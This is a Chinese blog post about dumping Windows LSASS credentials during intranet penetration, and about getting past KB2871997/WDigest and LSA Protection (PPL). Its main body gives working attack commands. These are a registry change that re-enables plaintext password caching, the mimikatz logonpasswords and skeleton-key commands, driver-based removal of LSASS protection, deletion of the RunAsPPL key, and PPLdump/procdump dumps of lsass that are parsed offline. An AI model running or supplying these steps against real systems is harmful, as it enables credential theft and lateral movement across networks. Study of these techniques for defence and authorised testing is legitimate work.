热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

浅析T1003.001—KB2871997&LSAProtection

在内网渗透中,凭证在横向移动中总是能起到很好的作用,这篇文章简单分析了实战中凭证获取可能会遇

目录:

  • Debug Privilege 

  • 明文凭证保护 & PPL技术

    • KB2871997

    • LSA Protection

  • LSA Protection 验证及绕过姿势

    • mimikatz + minidrv.sys

    • 删除RunAsPPL注册表项&重启

    • Userland 漏洞漏洞利用 (绕过PPL)

      • PPLdump



mimikatz Debug Privilege

本文测试环境

QAQ:

  • 是否拥有debug权限

    # Debug Privilege
    进行dump凭证时需要获取调试权限

    原因:

    详见:  http://msdn.miscrosoft.com/library/windows/hardware/ff541528.aspx

    原理:

           调试权限允许用户调试他们原本无权访问的进程。例如,以在其令牌上启用调试权限的用户身份运行的进程可以调试作为本地系统运行的服务。


    明文凭证保护&PPL技术

    QAQ:

    • 无法dump明文凭证

      mimikatz # privilege::debug (提升权限)
      Privilege '20' OK
      mimikatz # sekurlsa::logonpasswords (抓取明文密码和 hash) 


      可能原因:

      • KB2871997

      • LSA Protection


      KB2871997


      详见:https://msrc-blog.microsoft.com/2014/06/05/an-overview-of-kb2871997/


      原理:

            更新KB2871997补丁后,可禁用Wdigest Auth强制系统的内存不保存明文口令,此时mimikatz均无法获得系统的明文口令。

            但是其他一些系统服务(如IIS的SSO身份验证)在运行的过程中需要Wdigest Auth开启,所以补丁采取了折中的办法——安装补丁后可选择是否禁用Wdigest Auth。当然,如果启用Wdigest Auth,内存中还是会保存系统的明文口令。


      所支持的系统:

      • Windows 7

      • Windows 8

      • Windows 8.1

      • Windows Server 2008

      • Windows Server 2012

      • Windows Server 2012R 2


      但是这里测试发现并非补丁的问题

      图1

      图2(这才是原因-根本就没有这个键值)

        reg query HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest v UseLogonCredential

        创建一个

          # 关闭Wdigest Auth
          reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest v UseLogonCredential t REG_DWORD d 0 f


          # 开启Wdigest Auth
          reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f               

          图1-成功添加并设键值为 0

          图2

          同样的方式,将UseLogonCredential的值设为1

            # 开启Wdigest Auth
            reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest v UseLogonCredential t REG_DWORD d 1 f

            然后注销当前用户,用户再次登录后使用mimikatz即可导出明文凭证。

            如图:


            LSA 保护

            详见:https://docs.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/configuring-additional-lsa-protection


            原理:

                   如果启用了 LSA 保护,则无法调试自定义 LSA 插件。如果调试程序是受保护的进程,则不能将调试程序附加它。一般情况下,不支持调试正在运行的受保护进程。

                  此功能基于PPL技术,它是一种纵深防御的安全功能,旨在“防止非管理员非PPL进程通过打开进程之类的函数篡改PPL进程的代码和数据”。


            适用系统

            • Windows Server (Semi-Annual Channel),

            • Windows Server 2012 R2

            • Windows Server 2016


            LSA 保

            • 打开注册表编辑器 (RegEdit.exe),然后导航到位于以下位置的注册表项:

              HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa

              • 将注册表项的值设置为:

                • "RunAsPPL"=dword:00000001

              • 重新启动计算



              LSA Protection 验证及绕过姿势

              测试如下:

              0.测试环境

              • winver

              • 可dump明文凭证

                • UseLogOnCredential= 1


              1. 配置 LSA Protection

              注册表位置:

                HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa


                新建-DWORD(32)值

                  名称: RunAsPPL
                    值:00000001


                  然后重启系统。

                  2. 成功阻止了与LSASS的交互

                    mimikatz # privilege::debug (提升权限)
                    Privilege '20' OK
                    mimikatz # sekurlsa::logonpasswords
                    mimikatz # misc::skeleton


                    3.绕过  LSA Protection

                    • 使用驱动程序绕过

                      • minikatz + minidrv.sys

                      • PPLKiller

                    • 删除RunAsPPL注册表项&重启

                    • 修改EPROCESS内核结构,在LSASS进程禁用PPL标志

                    • Userland 漏洞漏洞利用 (绕过PPL)

                      • PPLdump

                    • ......

                    minikatz + minidrv.sys

                      privilege::debug
                      !+
                      !processprotect /process:lsass.exe /remove
                      misc::skeleton

                      删除RunAsPPL注册表项&重启

                        reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa /v RunAsPPL
                        reg delete HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa /v RunAsPPL


                        Userland 漏洞漏洞利用 (绕过PPL)

                          procdump64 -ma lsass lsass.dmp

                            PPLdump64.exe -v lsass lsass.dmp

                              mimikatz # sekurlsa::minidump lsass.dmp
                              mimikatz # sekurlsa::logonPasswords full

                              成功bypass lsa protection。


                              参考及推荐文章:

                                https://docs.microsoft.com/
                                https://github.com/gentilkiwi/mimikatz/
                                https://blog.scrt.ch/2021/04/22/bypassing-lsa-protection-in-userland/
                                https://www.redcursor.com.au/blog/bypassing-lsa-protection-aka-protected-process-light-without-mimikatz-on-windows-10




                                推荐阅读
                                • 如何搭建服务器环境php(2023年最新解答)
                                  导读:本篇文章编程笔记来给大家介绍有关如何搭建服务器环境php的相关内容,希望对大家有所帮助,一起来看看吧。本文目录一览:1、怎么搭建p ... [详细]
                                • VG浏览器是免费的吗 VG浏览器常见问题汇总
                                  VG浏览器是免费的吗VG浏览器常见问题汇总。现在,不少人都在使用VG浏览器。但是,有些用户在使用VG浏览器过程中,也是碰到不少问题。今天,小编给大家带来VG浏览器常见问题大汇总。想 ... [详细]
                                • NetBPM的安装还是比较简单的,有比较详细的文档。1.当然是先下载运行程序了,netbpm-0.8.3.1.zip,官方网站ÿ ... [详细]
                                • Nginx使用(server参数配置)
                                  本文介绍了Nginx的使用,重点讲解了server参数配置,包括端口号、主机名、根目录等内容。同时,还介绍了Nginx的反向代理功能。 ... [详细]
                                • 搭建Windows Server 2012 R2 IIS8.5+PHP(FastCGI)+MySQL环境的详细步骤
                                  本文详细介绍了搭建Windows Server 2012 R2 IIS8.5+PHP(FastCGI)+MySQL环境的步骤,包括环境说明、相关软件下载的地址以及所需的插件下载地址。 ... [详细]
                                • 模板引擎StringTemplate的使用方法和特点
                                  本文介绍了模板引擎StringTemplate的使用方法和特点,包括强制Model和View的分离、Lazy-Evaluation、Recursive enable等。同时,还介绍了StringTemplate语法中的属性和普通字符的使用方法,并提供了向模板填充属性的示例代码。 ... [详细]
                                • 本文介绍了一个免费的asp.net控件,该控件具备数据显示、录入、更新、删除等功能。它比datagrid更易用、更实用,同时具备多种功能,例如属性设置、数据排序、字段类型格式化显示、密码字段支持、图像字段上传和生成缩略图等。此外,它还提供了数据验证、日期选择器、数字选择器等功能,以及防止注入攻击、非本页提交和自动分页技术等安全性和性能优化功能。最后,该控件还支持字段值合计和数据导出功能。总之,该控件功能强大且免费,适用于asp.net开发。 ... [详细]
                                • Hibernate延迟加载深入分析-集合属性的延迟加载策略
                                  本文深入分析了Hibernate延迟加载的机制,特别是集合属性的延迟加载策略。通过延迟加载,可以降低系统的内存开销,提高Hibernate的运行性能。对于集合属性,推荐使用延迟加载策略,即在系统需要使用集合属性时才从数据库装载关联的数据,避免一次加载所有集合属性导致性能下降。 ... [详细]
                                • LVS实现负载均衡的原理LVS负载均衡负载均衡集群是LoadBalance集群。是一种将网络上的访问流量分布于各个节点,以降低服务器压力,更好的向客户端 ... [详细]
                                • 本文介绍了Windows Vista操作系统中的用户账户保护功能,该功能是为了增强系统的安全性而设计的。通过对Vista测试版的体验,可以看到系统在安全性方面的进步。该功能的引入,为用户的账户安全提供了更好的保障。 ... [详细]
                                • 目录浏览漏洞与目录遍历漏洞的危害及修复方法
                                  本文讨论了目录浏览漏洞与目录遍历漏洞的危害,包括网站结构暴露、隐秘文件访问等。同时介绍了检测方法,如使用漏洞扫描器和搜索关键词。最后提供了针对常见中间件的修复方式,包括关闭目录浏览功能。对于保护网站安全具有一定的参考价值。 ... [详细]
                                • PHP引用的概念和用法详解
                                  本文详细介绍了PHP中引用的概念和用法。引用是指不同的变量名访问同一个变量内容,类似于Unix文件系统中的hardlink。文章从引用的定义、作用、语法和注意事项等方面进行了解释和示例。同时还介绍了对未定义变量使用引用的情况,以及在函数和new运算符中使用引用的注意事项。 ... [详细]
                                • PHP组合工具以及开发所需的工具
                                  本文介绍了PHP开发中常用的组合工具和开发所需的工具。对于数据分析软件,包括Excel、hihidata、SPSS、SAS、MARLAB、Eview以及各种BI与报表工具等。同时还介绍了PHP开发所需的PHP MySQL Apache集成环境,包括推荐的AppServ等版本。 ... [详细]
                                • asp中如何嵌入python的简单介绍
                                  本文目录一览:1、如何在IIS中执行Python脚本 ... [详细]
                                • SQL Server 2008 到底需要使用哪些端口?
                                  SQLServer2008到底需要使用哪些端口?-下面就来介绍下SQLServer2008中使用的端口有哪些:  首先,最常用最常见的就是1433端口。这个是数据库引擎的端口,如果 ... [详细]
                                author-avatar
                                舞动青春的迪斯科舞厅
                                这个家伙很懒,什么也没留下!
                                PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
                                Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有